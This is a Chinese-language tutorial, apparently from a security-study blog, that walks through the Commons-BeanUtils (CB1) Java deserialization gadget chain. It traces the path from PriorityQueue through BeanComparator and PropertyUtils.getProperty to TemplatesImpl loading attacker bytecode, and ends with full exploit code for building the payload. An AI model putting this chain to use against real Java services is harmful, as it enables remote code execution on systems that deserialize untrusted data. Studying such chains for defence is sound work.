1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.2</version> </dependency> <!-- https: <dependency> <groupId>commons-collections</groupId> <artifactId>commons-collections</artifactId> <version>3.1</version> </dependency> <!-- https: <dependency> <groupId>commons-logging</groupId> <artifactId>commons-logging</artifactId> <version>1.2</version> </dependency>
|
CB这条链子主要用到了commons-beanutils,这个库beanutils看名字就知道主要操纵javaBean,而javaBean最主要的特点就是有各种getter和setter反法,我们在前面分析CC链的时候遇到的TemplatesImpl,我们回忆一下
1 2 3 4 5
| TemplatesImpl#getOutputProperties() -> TemplatesImpl#newTransformer() -> TemplatesImpl#getTransletInstance() -> TemplatesImpl#defineTransletClasses() -> TransletClassLoader#defineClass()
|
这里只要触发前面两条,getOutputProperties和newTransformer都能够加载我们的恶意字节码,因为调用链上只有这两个方法的作用域是public,前面我们一直使用的是newTransformer,通过invokeTransform或者InstantiateTransformer来触发newTransformer方法,而没有利用getOutputProperties这个方法
而这个方法是Templates接口定义的一个方法,在他的实现类TemplatesImpl中有就是他_outputProperties属性的getter方法
JavaBean
这里讲解一下什么是javaBean,我打个最简单的比方
有这样一个student类,他有id学号和name名字两个属性,还有对应的getter和setter方法,我们就可以通过getter和setter对这个student对象的属性进行赋值和访问
而这个BeanUtils这个库就提供了一系列工具库方便我们操控这些JavaBean
其中 Commons-BeanUtils 就提供了一个PropertyUtils.getProperty静态方法,它能够调用某一对象的getter方法去获取指定的属性值
我们看一下这个方法的具体实现
首先进入PropertyUtils.getProperty,他里面通过PropertyUtilsBean.getInstance()获取了一个PropertyUtilsBean实例,使用这个PropertyUtilsBean实例来执行getProperty操作
接着又进入了getNestedProperty方法,传入了student对象和属性名称
在getNestedProperty方法里面他会判断这个Bean属于那种类型,
这里就属于简单类型,直接调用getSimpleProperty来获取属性值
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33
| public Object getSimpleProperty(Object bean, String name) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException { if (bean == null) { throw new IllegalArgumentException("No bean specified"); } else if (name == null) { throw new IllegalArgumentException("No name specified for bean class '" + bean.getClass() + "'"); } else if (this.resolver.hasNested(name)) { throw new IllegalArgumentException("Nested property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'"); } else if (this.resolver.isIndexed(name)) { throw new IllegalArgumentException("Indexed property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'"); } else if (this.resolver.isMapped(name)) { throw new IllegalArgumentException("Mapped property names are not allowed: Property '" + name + "' on bean class '" + bean.getClass() + "'"); } else if (bean instanceof DynaBean) { DynaProperty descriptor = ((DynaBean)bean).getDynaClass().getDynaProperty(name); if (descriptor == null) { throw new NoSuchMethodException("Unknown property '" + name + "' on dynaclass '" + ((DynaBean)bean).getDynaClass() + "'"); } else { return ((DynaBean)bean).get(name); } } else { PropertyDescriptor descriptor = this.getPropertyDescriptor(bean, name); if (descriptor == null) { throw new NoSuchMethodException("Unknown property '" + name + "' on class '" + bean.getClass() + "'"); } else { Method readMethod = this.getReadMethod(bean.getClass(), descriptor); if (readMethod == null) { throw new NoSuchMethodException("Property '" + name + "' has no getter method in class '" + bean.getClass() + "'"); } else { Object value = this.invokeMethod(readMethod, bean, EMPTY_OBJECT_ARRAY); return value; } } } }
|
通过一系列判断,最终走到这里的关键代码
通过getPropertyDescriptor获取PropertyDescriptor对象,然后使用这个描述对象获取对应的getter方法,然后通过反射执行这个getter方法,将获取的值return出来
这里的getPropertyDescriptor方法会遍历这个student对象的所有getter方法,可以看到这里获取到了三个getter,多了一个getClass,然后将这三个getter方法的名字与传入的name进行比较找到对应的getter方法返回出来
到这里我们就分析完成了,里面的逻辑到时候学Fastjson的时候会再具体的分析一次
触发getOutputProperties()
我们前面已经分析完了触发Templatesimpl的defineClass加载字节码需要调用getOutputProperties方法,而这个getOutputProperties方法属于Templatesimpl的一个getter方法,他可以通过PropertyUtils.getProperty这个静态方法去调用,这里我们简单写一下exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.PropertyUtils;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths;
public class CB1 { public static void main(String[] args) throws Exception { TemplatesImpl template = new TemplatesImpl(); byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class")); setField(template,"_name","pysnow"); setField(template,"_bytecodes",new byte[][] {codes}); setField(template,"_tfactory",new TransformerFactoryImpl());
PropertyUtils.getProperty(template,"outputProperties");
} public static void setField(Object object,String name,Object value) throws Exception { Field field= object.getClass().getDeclaredField(name); field.setAccessible(true); field.set(object,value); } }
|
接着我们就需要寻找在哪里调用了PropertyUtils.getProperty
触发PropertyUtils.getProperty()
我们通过查找用法在BeanComparator这个类的compare方法里面找到了PropertyUtils.getProperty的调用,他会通过PropertyUtils.getProperty获取要比较的两个对象的property属性的值,这里我们就只需要将其中一个对象设置成Templatesimpl对象,然后property设置成outputProperties
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| public int compare( Object o1, Object o2 ) { if ( property == null ) { return comparator.compare( o1, o2 ); } try { Object value1 = PropertyUtils.getProperty( o1, property ); Object value2 = PropertyUtils.getProperty( o2, property ); return comparator.compare( value1, value2 ); } catch ( IllegalAccessException iae ) { throw new RuntimeException( "IllegalAccessException: " + iae.toString() ); } catch ( InvocationTargetException ite ) { throw new RuntimeException( "InvocationTargetException: " + ite.toString() ); } catch ( NoSuchMethodException nsme ) { throw new RuntimeException( "NoSuchMethodException: " + nsme.toString() ); } }
|
触发compare()
这里找触发compare就再简单不过了
这里可以使用CC2链中的PriorityQueue触发任意对象的compare方法的链子
我们回顾一下
首先这个PriorityQueue的readObject调用了heapify方法
接着heapify方法调用了siftDown方法,这里需要size为2才能进入循环
接着siftDown会根据是否有Comparator来判断是否使用Comparator比较,使用自己设置的Comparator比较不就是调用任意方法的compare函数吗
这里在siftDownUsingComparator方法里面对队列中的两个对象进行比较
然后我们再把Comparator设置成BeanComparator,将BeanComparator的property属性设置成outputProperties,就把链子连接起来了
这里我们编写一下最终的EXP
EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48
| package CB;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import org.apache.commons.beanutils.BeanComparator;
import java.io.*; import java.lang.reflect.Field; import java.nio.file.Files; import java.nio.file.Paths; import java.util.PriorityQueue;
public class CB1 { public static void main(String[] args) throws Exception { TemplatesImpl template = new TemplatesImpl(); byte[] codes = Files.readAllBytes(Paths.get("D:\\java_project\\JavaSecurityStudy\\target\\classes\\ClassLoad\\TemplateCode.class")); setField(template,"_name","pysnow"); setField(template,"_bytecodes",new byte[][] {codes}); setField(template,"_tfactory",new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(); PriorityQueue priorityQueue = new PriorityQueue<>(beanComparator); priorityQueue.add(1); priorityQueue.add(1);
setField(beanComparator,"property","outputProperties"); setField(priorityQueue,"queue",new Object[]{template,template});
unserialize("ser.bin");
} public static void setField(Object object,String name,Object value) throws Exception { Field field= object.getClass().getDeclaredField(name); field.setAccessible(true); field.set(object,value); } public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } }
|
注意点
这里我们add的时候add的是两个1,这是因为priorityQueue的add方法会触发compare方法然后触发调用链
所以我们需要add之后再修改队列中的两个元素,当然也可以修改PriorityQueue的Comparator为其他例如TransformingComparator,然后在add完之后再修改回来
调用流程图